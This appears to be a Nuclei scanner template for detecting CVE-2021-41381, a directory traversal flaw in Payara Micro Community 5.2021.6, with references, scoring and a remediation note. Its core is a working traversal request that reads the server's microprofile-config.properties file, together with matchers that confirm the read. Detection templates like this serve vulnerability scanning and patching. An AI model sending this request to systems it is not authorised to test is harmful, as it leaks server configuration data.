id: CVE-2021-41381 info: name: Payara Micro Community 5.2021.6 Directory Traversal author: pikpikcu severity: high description: Payara Micro Community 5.2021.6 and below contains a directory traversal vulnerability. remediation: | Upgrade to a patched version of Payara Micro Community or apply the necessary security patches to mitigate the directory traversal vulnerability. reference: - https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-054.txt - https://nvd.nist.gov/vuln/detail/CVE-2021-41381 - https://www.payara.fish - http://packetstormsecurity.com/files/164365/Payara-Micro-Community-5.2021.6-Directory-Traversal.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-41381 cwe-id: CWE-22 epss-score: 0.08201 epss-percentile: 0.93641 cpe: cpe:2.3:a:payara:micro_community:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: payara product: micro_community tags: cve,cve2021,payara,lfi,packetstorm http: - method: GET path: - "{{BaseURL}}/.//WEB-INF/classes/META-INF/microprofile-config.properties" matchers-condition: and matchers: - type: word part: body words: - "payara.security.openid.default.providerURI=" - "payara.security.openid.sessionScopedConfiguration=true" condition: and # digest: 4b0a004830460221009f83298b0876ce9cdb8a173df40d694c1f32363a97e93f1c81bd10d8fbc9d2f3022100f33e794562d4dbef1c2e3686a9d5cbc154889a8078dadee37b8eaf177f5a2c37:922c64590222798bb761d5b6d8e72950